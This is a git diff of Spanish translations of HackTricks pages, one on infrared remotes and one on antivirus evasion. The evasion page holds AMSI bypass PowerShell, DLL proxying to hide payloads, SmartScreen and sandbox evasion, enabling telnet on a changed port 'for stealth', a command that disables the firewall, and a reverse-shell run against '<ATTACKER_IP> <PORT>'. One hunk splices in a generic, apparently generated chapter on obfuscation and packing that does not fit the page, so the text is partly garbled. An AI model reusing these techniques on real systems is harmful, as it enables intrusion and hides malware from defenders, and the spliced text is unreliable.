* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Cómo funciona el infrarrojo <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
**La luz infrarroja es invisible para los humanos**. La longitud de onda del infrarrojo es de **0,7 a 1000 micrones**. Los mandos a distancia utilizan una señal de infrarrojos para la transmisión de datos y operan en el rango de longitud de onda de 0,75 a 1,4 micrones. Un microcontrolador en el mando hace que un LED infrarrojo parpadee con una frecuencia específica, convirtiendo la señal digital en una señal de infrarrojos.
**La luz infrarroja es invisible para los humanos**. La longitud de onda del infrarrojo va desde **0,7 hasta 1000 micrones**. Los mandos a distancia utilizan una señal de infrarrojos para la transmisión de datos y operan en el rango de longitud de onda de 0,75 a 1,4 micrones. Un microcontrolador en el mando hace que un LED infrarrojo parpadee con una frecuencia específica, convirtiendo la señal digital en una señal de infrarrojos.
Para recibir señales de infrarrojos se utiliza un **fotoreceptor**. Este **convierte la luz infrarroja en pulsos de voltaje**, que ya son **señales digitales**. Por lo general, hay un **filtro de luz oscura dentro del receptor**, que permite pasar **sólo la longitud de onda deseada** y elimina el ruido.
@ -24,7 +24,7 @@ Los protocolos de infrarrojos difieren en 3 factores:
* codificación de bits
* estructura de datos
* frecuencia portadora - a menudo en el rango de 36 a 38 kHz
* frecuencia portadora, a menudo en el rango de 36 a 38 kHz
#### Formas de codificación de bits <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
@ -32,7 +32,7 @@ Los protocolos de infrarrojos difieren en 3 factores:
Los bits se codifican mediante la modulación de la duración del espacio entre pulsos. El ancho del pulso en sí es constante.
<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (16) (3).png" alt=""><figcaption></figcaption></figure>
**2. Codificación de ancho de pulso**
@ -42,27 +42,27 @@ Los bits se codifican mediante la modulación del ancho del pulso. El ancho del
**3. Codificación de fase**
También se conoce como codificación de Manchester. El valor lógico se define por la polaridad de la transición entre el estallido de pulso y el espacio. "Espacio a estallido de pulso" denota la lógica "0", "estallido de pulso a espacio" denota la lógica "1".
También se conoce como codificación Manchester. El valor lógico se define por la polaridad de la transición entre el estallido de pulso y el espacio. "Espacio a estallido de pulso" denota la lógica "0", "estallido de pulso a espacio" denota la lógica "1".
<figure><img src="../../.gitbook/assets/image (25).png" alt=""><figcaption></figcaption></figure>
**4. Combinación de los anteriores y otros exóticos**
{% hint style="info" %}
Hay protocolos de infrarrojos que **intentan ser universales** para varios tipos de dispositivos. Los más famosos son RC5 y NEC. Desafortunadamente, lo más famoso **no significa lo más común**. En mi entorno, me encontré con sólo dos mandos NEC y ninguno de RC5.
Hay protocolos de infrarrojos que **intentan ser universales** para varios tipos de dispositivos. Los más famosos son RC5 y NEC. Desafortunadamente, lo más famoso **no significa lo más común**. En mi entorno, me encontré con sólo dos mandos a distancia NEC y ninguno de RC5.
A los fabricantes les encanta utilizar sus propios protocolos de infrarrojos únicos, incluso dentro del mismo rango de dispositivos (por ejemplo, cajas de TV). Por lo tanto, los mandos a distancia de diferentes empresas y, a veces, de diferentes modelos de la misma empresa, no pueden funcionar con otros dispositivos del mismo tipo.
A los fabricantes les encanta utilizar sus propios protocolos de infrarrojos únicos, incluso dentro del mismo rango de dispositivos (por ejemplo, cajas de televisión). Por lo tanto, los mandos a distancia de diferentes empresas y, a veces, de diferentes modelos de la misma empresa, no pueden funcionar con otros dispositivos del mismo tipo.
{% endhint %}
### Explorando una señal de infrarrojos
La forma más fiable de ver cómo se ve la señal de infrarrojos del mando a distancia es utilizar un osciloscopio. No demodula ni invierte la señal recibida, sólo se muestra "tal cual". Esto es útil para pruebas y depuración. Mostraré la señal esperada en el ejemplo del protocolo NEC de infrarrojos.
La forma más fiable de ver cómo se ve la señal de infrarrojos del mando a distancia es utilizar un osciloscopio. No demodula ni invierte la señal recibida, simplemente se muestra "tal cual". Esto es útil para pruebas y depuración. Mostraré la señal esperada en el ejemplo del protocolo NEC de infrarrojos.
<figure><img src="../../.gitbook/assets/image (18) (2).png" alt=""><figcaption></figcaption></figure>
Por lo general, hay un preámbulo al principio de un paquete codificado. Esto permite al receptor determinar el nivel de ganancia y el fondo. También hay protocolos sin preámbulo, por ejemplo, Sharp.
A continuación se transmite la información. La estructura, el preámbulo y el método de codificación de bits son determinados por el protocolo específico.
Luego se transmite la información. La estructura, el preámbulo y el método de codificación de bits son determinados por el protocolo específico.
El **protocolo NEC de infrarrojos** contiene un comando corto y un código de repetición, que se envía mientras se presiona el botón. Tanto el comando como el código de repetición tienen el mismo preámbulo al principio.
@ -75,4 +75,4 @@ Para la lógica "0" y "1", NEC utiliza la codificación de distancia de pulso: p
### Acondicionadores de aire
A diferencia de otros mandos a distancia, **los acondicionadores de aire no transmiten sólo el código del botón pulsado**. También **transmiten toda la información** cuando se pulsa un botón para asegurarse de que la **máquina de aire acondicionado y el mando a distancia estén sincronizados**.\
Esto
Esto evitará que una máquina configurada a 20ºC

View File

@ -6,7 +6,7 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -38,13 +38,13 @@ Si desarrollas tus propias herramientas, no habrá firmas maliciosas conocidas,
Una buena forma de comprobar la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente divide el archivo en varios segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
{% endhint %}
Recomiendo encarecidamente que consultes esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre la evasión práctica de AV.
Recomiendo encarecidamente que revises esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre la evasión práctica de AV.
### **Análisis dinámico**
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa la actividad maliciosa (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minivolcado en LSASS, etc.). Esta parte puede ser un poco más complicada de trabajar, pero aquí hay algunas cosas que puedes hacer para evadir los sandboxes.
* **Dormir antes de la ejecución** Dependiendo de cómo esté implementado, puede ser una excelente manera de evitar el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largas pausas puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse la pausa dependiendo de cómo esté implementada.
* **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una excelente manera de evitar el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largas pausas puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse la pausa dependiendo de cómo se implemente.
* **Comprobar los recursos de la máquina** Por lo general, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, <2 GB de RAM), de lo contrario podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, comprobando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox.
* **Comprobaciones específicas de la máquina** Si quieres atacar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del ordenador para ver si coincide con el que has especificado, si no lo hace, puedes hacer que tu programa se cierre.
@ -56,19 +56,19 @@ Algunos otros consejos muy buenos de [@mgeeky](https://twitter.com/mariuszbit) p
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Como hemos dicho antes en esta publicación, las **herramientas públicas** eventualmente **serán detectadas**, así que deberías preguntarte algo:
Como hemos dicho antes en esta publicación, las **herramientas públicas** eventualmente **serán detectadas**, así que, deberías preguntarte algo:
Por ejemplo, si quieres volcar LSASS, ¿realmente necesitas usar mimikatz? ¿O podrías usar un proyecto diferente que sea menos conocido y también volque LSASS?
La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea uno de, si no el malware más marcado por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para evitar los AV, así que busca alternativas para lo que estás tratando de lograr.
La respuesta correcta probablemente es la última. Tomando mimikatz como ejemplo, probablemente sea uno de, si no el malware más marcado por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para evitar los AV, así que busca alternativas para lo que estás tratando de lograr.
{% hint style="info" %}
Cuando modifiques tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres comprobar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
Cuando modifiques tus cargas útiles para la evasión, asegúrate de **desactivar el envío automático de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres comprobar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
{% endhint %}
## EXEs vs DLLs
Siempre que sea posible, **prioriza el uso de DLLs para la evas
Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia, los archivos DLL suelen
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
@ -79,11 +79,11 @@ Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForE
Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
Recomiendo encarecidamente que **exploréis vosotros mismos los programas DLL Hijackable/Sideloadable**, esta técnica es bastante sigilosa si se hace correctamente, pero si utilizáis programas DLL Sideloadable conocidos públicamente, podéis ser detectados fácilmente.
Recomiendo encarecidamente que **exploréis vosotros mismos los programas DLL Hijackable/Sideloadable**, esta técnica es bastante sigilosa si se hace correctamente, pero si utilizáis programas DLL Sideloadable conocidos públicamente, podéis ser descubiertos fácilmente.
Simplemente colocando una DLL maliciosa con el nombre que espera cargar un programa, no se cargará la carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
Simplemente colocando una DLL maliciosa con el nombre que espera cargar un programa, no cargará vuestra carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL, para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de la carga útil.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de vuestra carga útil.
Utilizaré el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
@ -114,7 +114,7 @@ Estos son los resultados:
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
**Recomiendo encarecidamente** que veas el VOD de [S3cur3Th1sSh1t en Twitch](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el video de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender más sobre lo que hemos discutido en profundidad.
@ -122,7 +122,7 @@ Estos son los resultados:
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze es un conjunto de herramientas de carga útil para eludir los EDR utilizando procesos suspendidos, llamadas al sistema directas y métodos de ejecución alternativos`
`Freeze es un conjunto de herramientas de carga útil para eludir los EDR mediante procesos suspendidos, llamadas al sistema directas y métodos de ejecución alternativos`
Puedes usar Freeze para cargar y ejecutar tu shellcode de manera sigilosa.
```
@ -139,7 +139,7 @@ La evasión es solo un juego del gato y el ratón, lo que funciona hoy podría s
## AMSI (Interfaz de Escaneo Anti-Malware)
AMSI fue creado para prevenir el "malware sin archivo". Inicialmente, los antivirus solo eran capaces de escanear **archivos en disco**, por lo que si de alguna manera pudieras ejecutar cargas útiles **directamente en la memoria**, el antivirus no podría hacer nada para evitarlo, ya que no tenía suficiente visibilidad.
AMSI fue creado para prevenir el "malware sin archivo". Inicialmente, los antivirus solo podían escanear **archivos en el disco**, por lo que si de alguna manera pudieras ejecutar cargas útiles **directamente en la memoria**, el antivirus no podría hacer nada para evitarlo, ya que no tenía suficiente visibilidad.
La función AMSI está integrada en estos componentes de Windows.
@ -193,7 +193,7 @@ Try{#Ams1 bypass technic nº 2
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Ten en cuenta que esto probablemente será detectado una vez que se publique esta publicación, por lo que no debes publicar ningún código si tu plan es permanecer indetectable.
Ten en cuenta que esto probablemente será detectado una vez que se publique este post, por lo que no debes publicar ningún código si tu plan es mantenerse indetectable.
**Parcheo de memoria**
@ -207,12 +207,12 @@ También hay muchas otras técnicas utilizadas para evitar AMSI con powershell,
## Ofuscación
Existen varias herramientas que se pueden utilizar para **ofuscar código C# en texto claro**, generar **plantillas de metaprogramación** para compilar binarios u **ofuscar binarios compilados** como:
Existen varias herramientas que se pueden utilizar para **ofuscar el código claro de C#**, generar **plantillas de metaprogramación** para compilar binarios u **ofuscar binarios compilados** como:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador de C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto del conjunto de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar una mayor seguridad del software a través de la [ofuscación de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) y la protección contra manipulaciones.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo utilizar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin utilizar ninguna herramienta externa y sin modificar el compilador.
* [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
* [**obfy**](https://github.com/fritzone/obfy): Añade una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que es capaz de ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM que utilizan ROP (programación orientada a la devolución). ROPfuscator ofusca un programa a nivel de código de ensamblador transformando las instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
@ -227,17 +227,17 @@ Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas de manera poco común activarán SmartScreen, lo que alertará y evitará que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas de forma poco común activarán SmartScreen, lo que alertará y evitará que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
**MoTW** (Mark of The Web) es un [flujo de datos alternativo de NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de Internet, junto con la URL desde la que se descargó.
**MoTW** (Mark of The Web) es un [flujo de datos alternativo de NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de Internet, junto con la URL de la que se descargó.
<figure><img src="../.gitbook/assets/image (13).png" alt=""><figcaption><p>Comprobando el flujo de datos alternativo Zone.Identifier para un archivo descargado de Internet.</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Comprobando el flujo de datos alternativo Zone.Identifier para un archivo descargado de Internet.</p></figcaption></figure>
{% hint style="info" %}
Es importante tener en cuenta que los ejecutables firmados con un certificado de firma **confiable** no activarán SmartScreen.
{% endhint %}
Una forma muy efectiva de evitar que tus cargas útiles obtengan la marca de la web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la marca de la web (MOTW) **no se puede aplicar** a **volúmenes que no sean NTFS**.
Una forma muy efectiva de evitar que tus cargas útiles obtengan la marca de la web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la marca de la web (MOTW) **no se puede aplicar** a **volúmenes no NTFS**.
<figure><img src="../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
@ -271,7 +271,7 @@ Aquí hay una demostración de cómo evitar SmartScreen empaquetando cargas úti
## Reflexión de ensamblado C#
Cargar binarios de C# en memoria ha sido conocido durante bastante tiempo y sigue siendo una forma muy efectiva de ejecutar tus herramientas de post-explotación sin ser detectado por el antivirus.
Cargar binarios de C# en memoria ha sido conocido durante mucho tiempo y sigue siendo una forma muy efectiva de ejecutar tus herramientas de post-explotación sin ser detectado por el antivirus.
Dado que la carga útil se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchar AMSI para todo el proceso.
@ -299,7 +299,7 @@ También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes dando acceso a la máquina comprometida **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes en la memoria** de la máquina comprometida.
El repositorio indica: Defender todavía escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para evitar las firmas estáticas**. Las pruebas con scripts de shell inverso aleatorios y no ofuscados en estos lenguajes han resultado exitosas.
@ -330,10 +330,6 @@ Haz que **inicie** cuando se inicie el sistema y **ejecútalo** ahora:
sc config TlntSVR start= auto obj= localsystem
```
**Cambiar el puerto de telnet** (sigilo) y desactivar el firewall:
Para evitar ser detectado, se puede cambiar el puerto de telnet por defecto (23) a otro puerto menos común. Para hacer esto, se debe editar el archivo de configuración del servicio de telnet y cambiar el número de puerto. Por ejemplo, se puede cambiar a 31337.
Además, para evitar que el firewall bloquee el tráfico de telnet, se puede desactivar temporalmente el firewall. Esto se puede hacer a través de la configuración del firewall o mediante la ejecución del comando `netsh firewall set opmode disable`. Es importante recordar volver a activar el firewall después de la sesión de telnet.
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
@ -348,7 +344,7 @@ Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc
* Establece una contraseña en _VNC Password_
* Establece una contraseña en _View-Only Password_
Luego, mueve el binario _**winvnc.exe**_ y el archivo **recién** creado _**UltraVNC.ini**_ dentro del **víctima**
Luego, mueve el binario _**winvnc.exe**_ y el archivo recién creado _**UltraVNC.ini**_ dentro del **víctima**
#### **Conexión inversa**
@ -356,9 +352,9 @@ El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.ex
**ADVERTENCIA:** Para mantener el sigilo, no debes hacer algunas cosas
* No inicies `winvnc` si ya está en ejecución o se activará una [ventana emergente](https://i.imgur.com/1SROTTl.png). Verifica si está en ejecución con `tasklist | findstr winvnc`
* No inicies `winvnc` si ya está en ejecución o activarás una [ventana emergente](https://i.imgur.com/1SROTTl.png). verifica si está en ejecución con `tasklist | findstr winvnc`
* No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o causará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
* No ejecutes `winvnc -h` para obtener ayuda o se activará una [ventana emergente](https://i.imgur.com/oc18wcu.png)
* No ejecutes `winvnc -h` para obtener ayuda o activarás una [ventana emergente](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -396,7 +392,39 @@ Compílelo con:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
¿Cómo quieres que te ayude con eso?
```
python3 av_bypass.py
```
## Introducción
En este capítulo, aprenderemos cómo evadir la detección de antivirus (AV) utilizando técnicas de ofuscación y empaquetado. La mayoría de los AV utilizan firmas para detectar malware, lo que significa que buscan patrones específicos en el código. Al ofuscar y empaquetar nuestro código, podemos evitar que los AV detecten estas firmas y, por lo tanto, evadir la detección.
## Ofuscación
La ofuscación es el proceso de hacer que el código sea más difícil de entender para los humanos y las herramientas de análisis. Hay varias técnicas de ofuscación que podemos utilizar para evadir la detección de AV:
- **Renombramiento de variables y funciones**: cambiar los nombres de las variables y funciones puede hacer que el código sea más difícil de entender para los humanos y las herramientas de análisis.
- **Eliminación de comentarios y espacios en blanco**: eliminar los comentarios y los espacios en blanco puede hacer que el código sea más difícil de leer para los humanos y las herramientas de análisis.
- **Ofuscación de cadenas**: ofuscar las cadenas de texto puede hacer que sea más difícil para los AV detectar patrones específicos en el código.
- **Ofuscación de flujo de control**: cambiar el flujo de control del programa puede hacer que sea más difícil de entender para las herramientas de análisis.
## Empaquetado
El empaquetado es el proceso de comprimir y cifrar nuestro código para hacerlo más difícil de entender para las herramientas de análisis. Hay varias herramientas que podemos utilizar para empaquetar nuestro código:
- **PyInstaller**: PyInstaller es una herramienta que puede empaquetar nuestro código en un archivo ejecutable independiente.
- **UPX**: UPX es una herramienta que puede comprimir nuestro archivo ejecutable para hacerlo más pequeño y más difícil de entender para las herramientas de análisis.
- **Cifrado**: podemos cifrar nuestro archivo ejecutable para hacerlo más difícil de entender para las herramientas de análisis.
## Conclusión
La ofuscación y el empaquetado son técnicas efectivas para evadir la detección de AV. Al utilizar estas técnicas, podemos hacer que nuestro código sea más difícil de entender para las herramientas de análisis y, por lo tanto, evadir la detección. Sin embargo, es importante tener en cuenta que estas técnicas no son infalibles y que los AV están constantemente mejorando su capacidad para detectar malware.
```
back.exe <ATTACKER_IP> <PORT>
```
@ -474,7 +502,7 @@ namespace ConnectBack
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### C# usando compilador
### C# usando el compilador
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -541,10 +569,10 @@ https://github.com/praetorian-code/vulcan
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -7,8 +7,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -32,7 +32,7 @@ Lo primero que necesitas es **identificar un proceso** que se esté ejecutando c
